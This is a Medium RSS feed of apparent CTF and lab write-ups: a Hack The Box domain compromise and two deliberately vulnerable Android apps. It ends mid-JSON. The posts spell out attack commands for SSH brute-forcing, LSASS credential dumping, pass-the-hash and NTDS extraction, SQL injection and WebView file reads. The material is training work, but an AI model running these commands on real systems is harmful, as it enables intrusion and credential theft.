<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xTantawy on Medium]]></title>
        <description><![CDATA[Stories by 0xTantawy on Medium]]></description>
        <link>https://medium.com/@mtantawy862?source=rss-89a671078c84------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*uBxWq6iFvvCXjzDMYtEXtw.jpeg</url>
            <title>Stories by 0xTantawy on Medium</title>
            <link>https://medium.com/@mtantawy862?source=rss-89a671078c84------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 22:24:14 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mtantawy862/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Skills Assessment — Password Attacks (CPTS)]]></title>
            <link>https://medium.com/@mtantawy862/skills-assessment-password-attacks-cpts-b46ef21746e6?source=rss-89a671078c84------2</link>
            <guid isPermaLink="false">https://medium.com/p/b46ef21746e6</guid>
            <dc:creator><![CDATA[0xTantawy]]></dc:creator>
            <pubDate>Tue, 24 Feb 2026 12:41:21 GMT</pubDate>
            <atom:updated>2026-02-26T00:28:01.400Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ASXHd0Xywf7r189r.png" /></figure><p>Hi Hackers! I’m back with a new writeup, but this one is special. We’re diving deep into the <strong>Password Attacks Module</strong> from the <strong>CPTS</strong> path on Hack The Box. This isn’t just a lab; it’s a full-scale network infiltration scenario where we move from a single leaked password to full Domain Control</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/0*7MRt0k1A2yIwH3J-" /></figure><h3>The Scenario</h3><p>Our target is <strong>Nexura LLC</strong>. We’ve managed to obtain the potential credentials for an employee named <strong>Betty Jayde</strong> (Texas123!@#). Our mission is to leverage this single point of failure to infiltrate their segmented network, pivot through their defenses, and ultimately seize command execution on the <strong>Domain Controller</strong></p><p>Grab your coffee, fire up your Kali, and stay sharp on every command…</p><p><strong>Let’s Hack! 🚀</strong></p><h3>Walkthrough</h3><h3>Part 1: Information Gathering, Gaining Access to DMZ system 🔍</h3><ul><li>i begain with normal nmap scan</li></ul><pre>┌──(kali㉿kali)-[~]<br>└─$ nmap 10.129.x.x        <br>Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-24 04:41 EST<br>Nmap scan report for 10.129.x.x<br>Host is up (0.17s latency).<br>Not shown: 999 closed tcp ports (reset)<br>PORT   STATE SERVICE<br>22/tcp open  ssh<br><br>Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds</pre><p>i found ssh protocol let’s try to connect with it by leaked password that we gained and username betty but isn’t correct</p><p>i try to make a custom username list of Betty Jayde name by username-anarchy tool</p><pre>┌──(kali㉿kali)-[~/Downloads/Tools/username-anarchy]<br>└─$ ./username-anarchy -i /home/kali/Downloads/CTFs/username.list<br>betty<br>bettyjayde<br>betty.jayde<br>bettyjay<br>bettjayd<br>bettyj<br>b.jayde<br>bjayde<br>jbetty<br>j.betty<br>jaydeb<br>jayde<br>jayde.b<br>jayde.betty<br>bj</pre><p>nice wordlist let’s make brute-force by Hydra Tool</p><pre>┌──(kali㉿kali)-[~/Downloads/CTFs]<br>└─$ hydra -L username.list -p &#39;Texas123!@#&#39; ssh://10.129.x.x -t 4 <br>Hydra v9.5 (c) 2023 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).<br><br>Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-02-24 04:58:56<br>[DATA] max 4 tasks per 1 server, overall 4 tasks, 15 login tries (l:15/p:1), ~4 tries per task<br>[DATA] attacking ssh://10.129.x.x:22/<br>[22][ssh] host: 10.129.x.x login: j*****   password: Texas123!@#<br>1 of 1 target successfully completed, 1 valid password found<br>Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-02-24 04:59:13</pre><p>ohhh here we go, now we gained the correct creds for SSH login jbetty:Texas123!@#</p><p><strong>Establishing a SOCKS Proxy via SSH:</strong></p><pre>ssh -D 1080 jbetty@10.129.x.x</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*Zn7dqJMLfb8k0wYz5oS4JQ.png" /></figure><p>now we in jbetty Machine, Let’s try to extract any credentials</p><ul><li>after some search in log and configuration files when i tried to enum .bash_history i found this</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*LjszDRKYz8-wxw4llUnfQg.png" /></figure><p>this is good creds but, now we need to make pivot tunnel to use our tools from our kali</p><h3>Phase 2: Further Internal Network Enumeration and Lateral Movement</h3><pre>┌──(kali㉿kali)-[~/Downloads/CTFs]<br>└─$ proxychains nmap -sT -Pn -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985 172.16.119.11<br>[proxychains] config file found: /etc/proxychains.conf<br>[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4<br>[proxychains] DLL init: proxychains-ng 4.17<br>[proxychains] DLL init: proxychains-ng 4.17<br>[proxychains] DLL init: proxychains-ng 4.17<br>Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-24 06:06 EST<br>Nmap scan report for 172.16.119.11<br>Host is up.<br><br>PORT     STATE    SERVICE<br>53/tcp   filtered domain<br>88/tcp   filtered kerberos-sec<br>135/tcp  filtered msrpc<br>139/tcp  filtered netbios-ssn<br>389/tcp  filtered ldap<br>445/tcp  filtered microsoft-ds<br>464/tcp  filtered kpasswd5<br>593/tcp  filtered http-rpc-epmap<br>636/tcp  filtered ldapssl<br>3268/tcp filtered globalcatLDAP<br>3269/tcp filtered globalcatLDAPssl<br>3389/tcp filtered ms-wbt-server<br>5985/tcp filtered wsman<br><br>Nmap done: 1 IP address (1 host up) scanned in 5.12 seconds<br>                                                                                         <br>┌──(kali㉿kali)-[~/Downloads/CTFs]<br>└─$ proxychains nmap -sT -Pn -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985 172.16.119.10<br>[proxychains] config file found: /etc/proxychains.conf<br>[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4<br>[proxychains] DLL init: proxychains-ng 4.17<br>[proxychains] DLL init: proxychains-ng 4.17<br>[proxychains] DLL init: proxychains-ng 4.17<br>Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-24 06:06 EST<br>Nmap scan report for 172.16.119.10<br>Host is up.<br><br>PORT     STATE    SERVICE<br>53/tcp   filtered domain<br>88/tcp   filtered kerberos-sec<br>135/tcp  filtered msrpc<br>139/tcp  filtered netbios-ssn<br>389/tcp  filtered ldap<br>445/tcp  filtered microsoft-ds<br>464/tcp  filtered kpasswd5<br>593/tcp  filtered http-rpc-epmap<br>636/tcp  filtered ldapssl<br>3268/tcp filtered globalcatLDAP<br>3269/tcp filtered globalcatLDAPssl<br>3389/tcp filtered ms-wbt-server<br>5985/tcp filtered wsman<br><br>Nmap done: 1 IP address (1 host up) scanned in 5.04 seconds</pre><p>i though to use nc on 3389 (RDP) port</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*iqF3giZrstx__xB_reZ2Kw.png" /></figure><p>ohh nice! let’s make port scan by this way on other mahcines</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*WdXidc9rDzcyKGVPRW5M_Q.png" /></figure><p>i tried to interact with smb (172.16.119.10) by creds that we have gained in .bash_history file</p><p>USERNAME: <strong>h******</strong><br>PASSWORD: ******<strong>-</strong>******<strong>-</strong>******</p><pre>proxychains smbclient -L //172.16.119.10/ -U &#39;nexura.htb/h*****&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*cQF6Xfcx2FrRA1N8_97bXQ.png" /></figure><p>let’s check HR share</p><pre>proxychains smbclient //10.129.x.x/HR -U &#39;nexura.htb/h*****&#39;</pre><pre>smb: \&gt; cd Archive<br>smb: \Archive\&gt; ls<br>  .                                   D        0  Tue Apr 29 12:10:24 2025<br>  ..                                  D        0  Tue Apr 29 12:10:24 2025<br>  Code of Conduct_OLD.xlsx            A    29380  Tue Apr 29 12:02:27 2025<br>  Company presentation OLD.ppt        A   912384  Tue Apr 29 12:02:52 2025<br>  Covid 19 Policy.ppt                 A   912384  Tue Apr 29 12:02:52 2025<br>  Employee Roster 2023.xlsx           A    13246  Tue Apr 29 12:02:30 2025<br>  Employee-Passwords_OLD.plk          A       48  Tue Apr 29 11:13:43 2025<br>  Employee-Passwords_OLD.psafe3       A     1080  Tue Apr 29 11:09:57 2025<br>  Employee-Passwords_OLD_011.ibak      A      856  Tue Apr 29 11:10:02 2025<br>  Employee-Passwords_OLD_012.ibak      A      904  Tue Apr 29 11:10:04 2025<br>  Employee-Passwords_OLD_013.ibak      A      952  Tue Apr 29 11:10:07 2025<br>  Employee_handbook_2025.doc          A    26069  Tue Apr 29 12:02:39 2025<br>  Exit interview Questions.docx       A    34375  Tue Apr 29 12:01:34 2025<br>  HR Audit Guide ARCHIVE.docx         A    34375  Tue Apr 29 12:01:34 2025<br>  HR Budget Forecast 2026.xlsx        A    32924  Tue Apr 29 12:02:28 2025<br>  HR Policies and Procedures.docx      A   120515  Tue Apr 29 12:01:34 2025<br>  HRIS System Training.xlsx           A    29380  Tue Apr 29 12:02:27 2025<br>  Interview Questions Template.doc      A    32768  Tue Apr 29 12:02:38 2025<br>  Manager Onboarding Program.ppt      A   530432  Tue Apr 29 12:02:52 2025<br>  Offboarding Checklist.docx          A  1311881  Tue Apr 29 12:01:35 2025<br>  Offer Letter Template_OLD.docx      A   120515  Tue Apr 29 12:01:34 2025<br>  Password Policy OUTDATED.doc        A    32768  Tue Apr 29 12:02:38 2025<br>  PTO Tracking Sheet OLD.ppt          A  1028096  Tue Apr 29 12:02:49 2025<br>  Temporary Contractor List_OLD.xlsx      A    32924  Tue Apr 29 12:02:28 2025<br><br>                5056511 blocks of size 4096. 1578817 blocks available<br>smb: \Archive\&gt;</pre><p>ohh we found intersting files let’s download it</p><pre>get Employee-Passwords_OLD.psafe3<br>get Employee-Passwords_OLD.plk</pre><pre>┌──(kali㉿kali)-[~/Downloads/CTFs]<br>└─$ cat Employee-Passwords_OLD.plk <br>hwilliam@JUMP01:00001512 </pre><p>psafe is It’s an encrypted password vault file that stores a collection of usernames and passwords in one place</p><p>Found a .pssafe database, extracted its hash, and cracked it to reveal stored domain credentials</p><p>by pwsafe2john</p><pre>┌──(kali㉿kali)-[~/Downloads/CTFs]<br>└─$ /usr/share/john/pwsafe2john.py Employee-Passwords_OLD.psafe3 &gt; hash.txt<br>                                                                                         <br>┌──(kali㉿kali)-[~/Downloads/CTFs]<br>└─$ cat hash.txt<br>Employee-Passwords_OLD:$pwsafe$xxxxxxxxx</pre><p>let’s crack it by John The Ripper Tool</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*dD0RFSee8TH-RUL6v7UiVA.png" /></figure><p>nice we got it!</p><p>i opened the file with password safe software</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*20okiPjOu4dJYJAONjOg4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dunUhfLO2EuhnanPdT9DIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*8QOz7xqlKYzF5BR0Q3fJfw.png" /></figure><p>we got all credentials</p><p><strong>DMZ01</strong></p><p>j****: ****-*****-******</p><p><strong>Domain Users:</strong></p><p>b*****: ******-*****-*****<br>s***: ******-******-******<br>h****: ******-******-******</p><p>now we try to authenticate to any service on JUMP01 Machine with all creds that we gained</p><h3>Phase 3: Lateral Movement to JUMP01–172.16.119.7</h3><pre>┌──(kali㉿kali)-[~/Downloads/CTFs]<br>└─$ proxychains nc -vz -w 6 172.16.119.7 3389<br>[proxychains] config file found: /etc/proxychains.conf<br>[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4<br>[proxychains] DLL init: proxychains-ng 4.17<br>[proxychains] Dynamic chain  ...  127.0.0.1:1080  ...  172.16.119.7:3389  ...  OK<br>172.16.119.7 [172.16.119.7] 3389 (ms-wbt-server) open : Operation now in progress</pre><p>RDP is open on JUMP01 Machine let’s try to login to it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L76XFcyLbzFza1BmVfTlCw.png" /></figure><p>oh we successed by David creds</p><p>b*****: ******-******-******</p><ul><li>let’s start in credential hunting by Check LSA Process in Task Manager</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*OpMBqv3KLbAmGHszzeYA9g.png" /></figure><p>i made Create Dump</p><ul><li>by any file transfer method transfer the file</li><li>once i was transfer it to my kali i used pypykatz to dump the file</li></ul><pre>pypykatz lsa minidump lsass.dmp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*bx14n542foOZGbf4dxlEwQ.png" /></figure><p>Booom! we got DC user and Password Hash</p><p>NTLM hash <strong>21ea**********************</strong></p><h3>Phase 4: Domain Controller Compromise — 172.16.119.11</h3><ul><li>we Don’t need to crack hash because we perform PassTheHash Technique to get NTDS file on DC</li><li>let’s make this by netexec</li></ul><pre>proxychains netexec smb 172.16.119.11 -u s*** -H 21ea********************** -M ntdsutil</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*a29f9laC7I1acQp5RIrYdQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*uVbc_QwflyalIHhSLlghmg.png" /></figure><p>Booom! Finally we got The Administrator Password Hash and That is Required</p><pre>proxychains evil-winrm -i 172.16.119.11 -u Administrator -H 36e09*****************</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*Lte4erQHyoNnkUx6GqCwKQ.png" /></figure><p>Finally!! we Hacked the Domain Controller (DC01) 🏁</p><p>اللهم علّمنا ما ينفعنا، وانفعنا بما علّمتنا، وزِدنا علمًا، واجعل علمنا حُجّةً لنا لا علينا</p><h3>✅ Feel free to connect with me:</h3><ul><li><a href="https://www.linkedin.com/in/muhammed-tantawy-484441218/"><em>LinkedIn — Muhammed Tantawy</em></a></li><li><a href="http://github/tantawix/CPTS"><em>GitHub — tantawix</em></a></li></ul><p>Thanks for reading 🙌<br>More write-ups coming soon — stay tuned!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b46ef21746e6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Allsafe CTF Walkthrough]]></title>
            <link>https://medium.com/@mtantawy862/allsafe-ctf-walkthrough-c87e9f5bda76?source=rss-89a671078c84------2</link>
            <guid isPermaLink="false">https://medium.com/p/c87e9f5bda76</guid>
            <dc:creator><![CDATA[0xTantawy]]></dc:creator>
            <pubDate>Wed, 28 Jan 2026 20:28:00 GMT</pubDate>
            <atom:updated>2026-01-28T20:28:00.024Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome back hackers to another writeup and today we are going to tackle Allsafe which is a vulnerable Android application designed for security testing and CTF challenges</p><h3>Challenge 1 : Insecure Logging</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*CHTp5tsxGVj5l7weVYtBDw.png" /></figure><p>as we can see the challenge seems as very simple i entered any secret code like 132456</p><p>firstly we need to get PID of allsafe apk , so i typed this</p><pre>:/data/data/infosecadventures.allsafe/shared_prefs # ps -A | grep infosecadventures.allsafe<br>u0_a51        4616  1093 12668560 202996 do_epoll_wait      0 S infosecadventures.allsafe<br>:/data/data/infosecadventures.allsafe/shared_prefs # </pre><p>as we can see PID is 4616</p><p>and i get the logs by search specifcally about the secret key that i was entered</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yP0lW2co-s8L7a40fCdgwA.png" /></figure><p>here we gooooo the secret key is appear</p><h3>Challenge 2: Hardcoded Credentials</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*XaQrhicrAfJrlotPycuCyQ.png" /></figure><p>First, we will perform reverse engineering on the APK and examine the code for this challenge</p><p>make a wide search by enter Ctrl + Shift + F</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*jW4aTVvjz-iEX40d-rQpjQ.png" /></figure><p>as we can see the creds is shown superadmin:supersecurepassword</p><p>but the challenge require another creds, np let’s check the source code again</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*L0aKLPdyBl5edKeI2uqS6A.png" /></figure><p>i found this R.string_dev_env</p><p>this means that creds can be found in string.xml file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*5ITkowQYNfkFIkKm_3NiYg.png" /></figure><p>as we can see we got the second creds admin:password123</p><h3>Challenge 3 : Firebase Database</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*5KEYYjXRUv0CumueDvhuqA.png" /></figure><ul><li>firstly i made a wide search of firebase</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*i09FhJs4gpjIm7oaJC9l4w.png" /></figure><p>i found this firebase link was used,</p><p>Since I identified this as a Firebase link, I decided to access the .json endpoint, as this is where the keys and values are stored. I immediately sent a request using curl to inspect the data</p><pre>curl &quot;https://allsafe-8cef0.firebaseio.com/.json&quot;<br>{&quot;flag&quot;:&quot;5077e90341de49d0ed79b8ee53572dab&quot;,&quot;secret&quot;:&quot;A bug is never just a mistake. It represents something bigger. An error of thinking. That makes you who you are.&quot;} curl &quot;https://allsafe-8cef0.firebaseio.com/.json&quot;</pre><p>Boooom, we got the flag</p><p>Flag is 5077e90341de49d0ed79b8ee53572dab</p><h3>Challenge 3 : Insecure Shared Preference</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/1*DpNWPtxjB3ewi7GDiUvn7Q.png" /></figure><p>as we can see 3 input fields i tried to input any 3 input (admin:admin)and went to sharedprefs file and check it</p><pre>:/data/data/infosecadventures.allsafe/shared_prefs # cat user.xml                                                                                  <br>&lt;?xml version=&#39;1.0&#39; encoding=&#39;utf-8&#39; standalone=&#39;yes&#39; ?&gt;<br>&lt;map&gt;<br>    &lt;string name=&quot;password&quot;&gt;admin&lt;/string&gt;<br>    &lt;string name=&quot;username&quot;&gt;admin&lt;/string&gt;<br>&lt;/map&gt;</pre><p>ohhh we got it</p><h3>Challenge 5 : SQL Injection</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*qB1zbigjag64slRDqrTPww.png" /></figure><p>as we can see we try to inject a simple sqli payload</p><p>payload is ‘ OR 1=1 —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*3HjYs0sSpS6hgDA_tDW2Aw.png" /></figure><p>Here we gooooo</p><h3>Challenge 6 : PIN Bypass</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*_iJsHJbTZS5CIVnJUT08jg.png" /></figure><p>first let’s check the source code of this challenge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*eR24mHP-BqvzGg2Kewho1w.png" /></figure><p>after i get the source code i found this :)</p><p>let’s decode this base64 string</p><pre>┌──(kali㉿kali)-[~/Downloads]<br>└─$ echo &quot;NDg2Mw==&quot; | base64 -d                <br>4863 </pre><p>nice, we got a pin code let’s enter it in PIN input field</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*Rnakd1gwlzbiaGQ3QskwBg.png" /></figure><p>Boooom we got it!</p><p>اللهم علّمنا ما ينفعنا، وانفعنا بما علّمتنا، وزِدنا علمًا، واجعل علمنا حُجّةً لنا لا علينا</p><h3>✅ Feel free to connect with me:</h3><ul><li><a href="https://www.linkedin.com/in/muhammed-tantawy-484441218/"><em>LinkedIn — Muhammed Tantawy</em></a></li><li><a href="http://github/tantawix/CPTS"><em>GitHub — tantawix</em></a></li></ul><p>Thanks for reading 🙌<br>More write-ups coming soon — stay tuned!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c87e9f5bda76" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Beetlebug CTF Walkthrough]]></title>
            <link>https://medium.com/@mtantawy862/beetlebug-ctf-walkthrough-10a0fb18f5b4?source=rss-89a671078c84------2</link>
            <guid isPermaLink="false">https://medium.com/p/10a0fb18f5b4</guid>
            <dc:creator><![CDATA[0xTantawy]]></dc:creator>
            <pubDate>Wed, 28 Jan 2026 20:25:26 GMT</pubDate>
            <atom:updated>2026-01-28T20:25:26.716Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi hackers, I’m back with a new write-up, and this time it’s about mobile — specifically the <strong>Beetlebug</strong> app</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/0*b9HPdCBVvKj07dS1" /></figure><p>This app is full of vulnerabilities that we’re going to exploit to capture the flags. So, let’s dive in and see how it’s done!</p><p>First, we dropped the APK into JADX to decompile it and analyze the source code</p><p>and this AndroidManifest.xml file of APK</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B2z7D7dQUloYDCv_WcflPQ.png" /></figure><h3>Challenge 1 : Harcoded Secrets</h3><h4>Embeded Secrets</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/341/1*Tbe3HXeo2EILecjwh6bQMQ.png" /></figure><p><strong>Harcoding Sensitive Data</strong></p><p>this is a source code of this challenge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*PUCGq5IX1amMKe5CRDMAGA.png" /></figure><p>We can see here that he’s using an if condition to check if the word matches the value in R.string and if so it will be accepted so we will go check this code in the file</p><p>path is : res/resources.arsc/values/strings.xml`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*ybhuWrAcJeEZa2vk5_OLHA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/340/1*lgGMv2pI0E2qs9P3OOUxAA.png" /></figure><p>First Flag is Done!</p><p><strong>Hardcoding Secrets:</strong></p><p>if we get source code of this challenge we can see that</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*u_h37eQKjFP_HW_q70iFqw.png" /></figure><p>oooooh! promo code is here beetle1759`</p><p>if we submit this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/333/1*p1pZ5n3m8HI_-O-A5CD2WA.png" /></figure><p>nice</p><h3>Challenge 2: Data Storage</h3><p><strong>Shared Prefrences</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*hRnnSP1keHI2cVSrm8lyxQ.png" /></figure><p>as we can see two input fields let’s Enter any username and Password admin:admin</p><p>this means this creds are stored in apk shared_prefs file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*iDZjIONXD8raBnYlOhp_ug.png" /></figure><p>nice!</p><p>Flag is : 0x1442c04</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/347/1*XYrCz6URCNcFp9H5kj16zg.png" /></figure><p><strong>External Storage</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/347/1*YKh0WBWVxgqdFwtULIaQ6w.png" /></figure><p>as we can see another 2 input fields</p><p>let’s check source code of this activity</p><pre>StringBuilder sb = new StringBuilder();<br>        sb.append(&quot;Pass: &quot; + pass);<br>        sb.append(&quot;\n&quot;);<br>        sb.append(&quot;Email: &quot; + email);<br>        sb.append(&quot;\n&quot;);<br>        sb.append(&quot;flag : 0x3982c%4&quot;);<br>        String data = sb.toString();<br>        File folder = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOCUMENTS);<br>        File file = new File(folder, &quot;user.txt&quot;);<br>        writeTextData(file, data);<br>        Toast.makeText(this, &quot;Data saved to&quot; + file.getAbsolutePath(), 1).show();</pre><p>ohhh here code Illustrates that creds are stored in document directory</p><ul><li>firstly i entered two any input fields like admin:admin@admin.com and check documents dir</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*W5kEpgUNS5L6Qbldd_BNng.png" /></figure><p>oh nice we finally got the flag</p><p>Flag is : 0x3982c%4</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*QRzTfgsk_iZzuChzu_K2XQ.png" /></figure><p><strong>SQLite Database</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/1*qto2hIhM2Bp78h7Z2TIvUQ.png" /></figure><p>Primarily, it is evident that the subsequent challenge involves data being stored within a database directory</p><p>let’s enter complex password and go to databases folder</p><pre>:/data/data/app.beetlebug/databases # ls<br>UserDB  UserDB-journal  user.db  user.db-journal<br>:/data/data/app.beetlebug/databases # cat user.db<br>user.db         user.db-journal<br>at user.db<br>.P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)w MtableusersusersCREATE TABLE users(_id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, password CHAR(50))W--ctableandroi!Tantusers:/data/data/app.beetlebug/databases # data (locale TEXT)</pre><p>The query is here, but it’s encrypted; we need to decrypt it</p><p>you can decrypt it by MT Manger but i user a different method by accessing database by sqlite3</p><pre>:/data/data/app.beetlebug/databases # sqlite3 user.db                                                                                              <br>SQLite version 3.32.2 2021-07-12 15:00:17<br>Enter &quot;.help&quot; for usage hints.<br>sqlite&gt; .tables<br>android_metadata  users           <br>1|:/data/data/app.beetlebug/databases # sqlite3 user.db                                                                                            <br>SQLite version 3.32.2 2021-07-12 15:00:17<br>Enter &quot;.help&quot; for usage hints.<br>sqlite&gt; .tabkes^H^H^[[D^H<br>Error: unknown command or invalid arguments:  &quot;ta&quot;. Enter &quot;.help&quot; for help<br>sqlite&gt; .tables<br>android_metadata  users           <br>sqlite&gt; .sh<br>Usage: .system COMMAND<br>sqlite&gt; .schema users<br>CREATE TABLE users(_id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, password CHAR(50));<br>sqlite&gt; select * from users;<br>1|Tantawy1!@|0x1172c04<br>sqlite&gt;</pre><p>here we gooo!!</p><p>Flag : 0x1172c04</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/349/1*ag3zpYym-si9cDnXzjxFOw.png" /></figure><h3>Challenge 3 : Web Views</h3><p><strong>Load Arbitary URL</strong></p><p>We found two misconfiguration:</p><ol><li>One is able to access the shared prefs files without root access</li></ol><p>2. Java script was enabled thus allowing possibility of cross-site scripting</p><p>We called the exported activity, and gave it an extra parameter (reg_url) to read the shared prefs of the app</p><pre>adb shell am start -n app.beetlebug/.ctf.VulnerableWebView --es reg_url &quot;file:///data/data/app.beetlebug/shared_prefs/preferences.xml&quot;</pre><p>12_url contained our flag =&gt; MHgzM2YzMzQx but this base64 and i decode it</p><pre>┌──(kali㉿kali)-[~/Downloads]<br>└─$ echo &quot;MHgzM2YzMzQx&quot; | base64 -d<br>0x33f3341 </pre><p>The Flag : 0x33f3341 -&gt; Flag is pwned :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/347/1*DW97ARB1ZWiCW1TP-Ua-nQ.png" /></figure><h3>Challenge 4 : Insecure Database</h3><p><strong>SQL Injection</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/1*KgJDl8gv-NrNNQI8t7K_9w.png" /></figure><p>i tried to write a very simple SQLi Payload</p><p>‘ OR 1=1 —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*GeKlmwQnStWlG_Z7dtSZuw.png" /></figure><p>Boooom we dump all users in db!!</p><p>Just a simple OR 1=1, nothing fancy😂</p><p>Flag is 0x91334Z1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/1*X62Iz0A3X-RKQIoD4KSLbA.png" /></figure><p><strong>Firebase Database Misconfigurations</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/219/1*mo6Eqks5msHknikcl3WGBg.png" /></figure><p>firstly we need to found firebase link it stored in strings.xml, let’s go to JADX and open this file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*aXE-FHBmUHyx2ku1XMjbDg.png" /></figure><pre>https://beetlebug-374fc-default-rtdb.firebaseio.com</pre><p>this is firebase link</p><p>note: users and valuable informations are stored in .json file (<a href="https://beetlebug-374fc-default-rtdb.firebaseio.com/.json">https://beetlebug-374fc-default-rtdb.firebaseio.com/.json</a>)</p><pre>{&quot;-OfxJKiwf6H4YTG5zOW2&quot;:{&quot;user&quot;:{&quot;age&quot;:30,&quot;name&quot;:&quot;John&quot;}},&quot;-OfxJYm8JYT7BegxrYtl&quot;:{&quot;user&quot;:{&quot;age&quot;:30,&quot;name&quot;:&quot;John&quot;}},&quot;-OfxJlNK8HU3VVzeQOED&quot;:{&quot;user&quot;:{&quot;age&quot;:30,&quot;name&quot;:&quot;John&quot;}},&quot;-OfxJm6t-PNNj6dJicqI&quot;:{&quot;user&quot;:{&quot;age&quot;:30,&quot;name&quot;:&quot;John&quot;}},&quot;-OfxJmVqwW9McCULOoEr&quot;:{&quot;user&quot;:{&quot;age&quot;:30,&quot;name&quot;:&quot;John&quot;}},&quot;-OfxJmsNbMrizjdylDY6&quot;:{&quot;user&quot;:{&quot;age&quot;:30,&quot;name&quot;:&quot;John&quot;}},&quot;Aman&quot;:{&quot;Exploit&quot;:&quot;Successful&quot;,&quot;email&quot;:&quot;abcd@gmail.com&quot;,&quot;message&quot;:&quot;Hello 